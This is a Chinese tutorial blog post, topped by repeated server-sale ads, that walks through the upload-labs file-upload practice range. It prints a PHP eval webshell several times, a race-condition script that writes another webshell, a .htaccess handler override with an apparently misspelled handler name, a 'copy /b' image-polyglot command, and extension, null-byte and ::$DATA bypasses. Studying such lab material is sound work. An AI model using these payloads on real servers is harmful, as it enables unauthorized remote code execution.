蓝易云高性能服务器
|
|
|
|
|
🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘
🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘
🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘
🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘
🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘
🤤🤤🤤🤤🤤🤤点击购买吧-年付送定制U盘
|
|
|
|
|
upload-labs-master文件上传靶场
搭建
https://blog.csdn.net/weixin_51075988/article/details/110277974
第一关js绕过
那么我们第一关就是js绕过
js绕过理解为前端绕过
首先我们制作一个木马
<?php @eval($_POST['shell']);?>
前端js绕过非常好绕过
只要我们绕过了浏览器就可以了
我们可以看看他让什么格式后缀的过去
我们去上传php后缀的文件是不可以的
他运行jpg格式的和png的
那么我们就将php改成jpg然后我们在通过抓包工具
抓取数据包然后把后缀改为php
改成php
然后我们点击F12
右键这个图片地址
然后去访问这个地址
复制然后访问
我们发现当访问的时候
他没有继续异常报错什么的
说明成功上传了
那么我们现在就要验证能不能连接上去
用菜刀
是php格式的一句话木马
连接成功
第二关Conten-Type绕过
这个可以说是类型上的绕过
这个也非常简单
我们写一个php一句话木马
<?php @eval($_POST['shell']);?>
直接上传然后通过抓包软件抓取数据包
那么我们把这个类型改成
一个图片的类型
image/jpeg
然后放行
我们会发现这有一条线的东西
那么这个就是我们上传上去的一句话木马
我们一样是复制连接然后访问看看有没有报错什么的
正常
连接一下
连接成功
第三关黑名单绕过
在第三关呢有两种绕过的办法
我们看看他的代码
$is_upload=false;$msg=null;if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$deny_ext=array('.asp','.aspx','.php','.jsp');$file_name=trim($_FILES['upload_file']['name']);$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,'.');$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//收尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES['upload_file']['tmp_name'];$img_path=UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg='上传出错!';}}else{$msg='不允许上传.asp,.aspx,.php,.jsp后缀文件!';}}else{$msg=UPLOAD_PATH.'文件夹不存在,请手工创建!';}}
他这个显示不允许后缀为asp和aspx和php和jsp为后缀的文件
那么我们先用第一个方法
就是后缀变异法
我们可以看见他是不允许php文件
但是他没有说不允许php4,php5的后缀文件
所有我们只需要把后缀文件改为php4或者php5就可以了
但是我们要设置一些东西
我们懂这个办法就可以了
第四关htaccess绕过(解析器执行)
我们看看第四关的代码
$is_upload=false;$msg=null;if(isset($_POST['submit'])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name=trim($_FILES['upload_file']['name']);$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,'.');$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//收尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES['upload_file']['tmp_name'];$img_path=UPLOAD_PATH.'/'.$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg='上传出错!';}}else{$msg='此文件不允许上传!';}}else{$msg=UPLOAD_PATH.'文件夹不存在,请手工创建!';}}
我们发现他这过滤了非常非常多的东西
那么我们这就用到htaccess解析器绕过
原理是这样的
就是我们上传解析器
这个解析器的任务是把1.jpg的这个照片重命名为1.php
那么我们上传完这个解析器后
我们就把1.php的木马改成1.jpg
那么他这里是可以上传1.jpg的
那么当我们把1.jpg上传后,里面的解析器就会把我们的1.jpg再改回1.php这样就可以了
解析器代码
<FilesMatch "1.jpg">
SetHandler application/x-http-php
</FilesMatch>
后缀要是htaccess
我们再制作木马文件
<?php @eval($_POST['shell']);?>
我们先上传解析器
然后再上传1.jpg
就欧克了
我就就不改配置了你要知道有这个办法就可以了
第五关(点空格点)绕过
第五关
我们通过抓包工具在php后面加上点空格点
就可以绕过了
放行
正确情况下后面这是有一个点的
第六关大小写绕过
这关只需要把后缀为php改成PhP就可以了
第七关空格绕过
这个也非常简单
我们制作一个木马
<?php
@eval($_POST['shell']);?>
正常抓包
正常回显
第八关|点空格点|点空格|点|三种绕过
第一种点空格点
第二种点空格
第三种点
第九关::$DATA绕过
::$DATA
我们访问的时候是这样的
这样是不行的
我们必须把把后面的::$DATA去掉
第十关点空格点绕过
第十一关双写绕过
双写绕过非常简单
第十二关%00[百分之零零]绕过
我们访问验证一下
第十三关%00再继续url编码绕过
一开始我们抓取的数据包是这样的
那么我们进行改一下
添加一个1.php%00
那么我们这个%00要进行url编码
选中%00右键
编码完后%00他会消失掉
那么我们还需要把下面的1.php改成1.jpg
然后放行
去掉这部分
用菜刀连接一下
第十四关文件包含绕过【跳过】
首先准备一张图片和一个一句话木马
然后在外面当前目录下打开cmd
copy n.jpg/b + 1.php/a 1.jpg
那么这是什么意思呢
copy 你准备的图片名称/b + 你的一句话木马/a 你要生成的图片名称
这个就是我们生成的一句话木马图片
我们现在把一句话木马图片上传上去
https://blog.csdn.net/weixin_43571641/article/details/83868668
第十五关文件包含漏洞【跳过】
第十六关需要改一下东西【跳过】
第十七关二次宣染传【跳过】
二次渲染的话
就是你一开始上传了一下图片上去
这张图片是没有木马的
上传上去后再下载下来
下载下来后呢
用进制工具打开这张图片
将下载的那种和原来的那种进行对比看看哪些没有改变的
因为用到网站他是会重新去构造你的图片
就是你看起来图片一样的但是他里面的构造发现了变化
将两个图片进行对比找到一个没有改变的地方然后插入一句话木马
然后再将改完的上传上去就可以了
就可以了
那么我们要选择gif后缀的图片来做这个实验
第十八关条件竞争
这关是条件竞争
我先说一下原理
首先我们当我们上传一个一句话php
有会在服务器停留一段时间然后才会被识别删除的
这时间大概就1秒左右
那么他能够停留1秒左右那么我们就可以利用这一个条件来生成一个木马文件
<?php $file=fopen('2.php','w+');fwrite($file,'<?php @eval($_POST[shell]);?>');fclose($file);?>
这个代码是这样的
这个代码写在1.php文件中
那么当我们上传后这个1.php就会停留一秒左右
那么我们就可以在他删除之前访问这个1.php
当我们访问的时候
就会激发里面的源代码
源代码的功能就是生成一个2.php
然后2.php里面写入一个一句话木马
抓包发生的int中
添加一个循环变量
那么我们回到proxy
点击这个int
然后我们访问1.php的链接
把数据包发送到int
设置一个循环访问变量
然后就开始跑
两个一起跑
先跑上传数据包的
然后跑访问1.php的
那么方法就是这个
但是我们实验没有成功
如果实验成功会生成一个2.php的一句话木马
第十九关这关也是条件竞争
这个和上面是一样的
https://blog.csdn.net/Thunderclap_/article/details/108948611
第二十关点绕过
后面加多一个点可以了
第二十一关斜杠绕过
改包
复制一份
粘贴
版权归原作者 无聊的知识 所有, 如有侵权,请联系我们删除。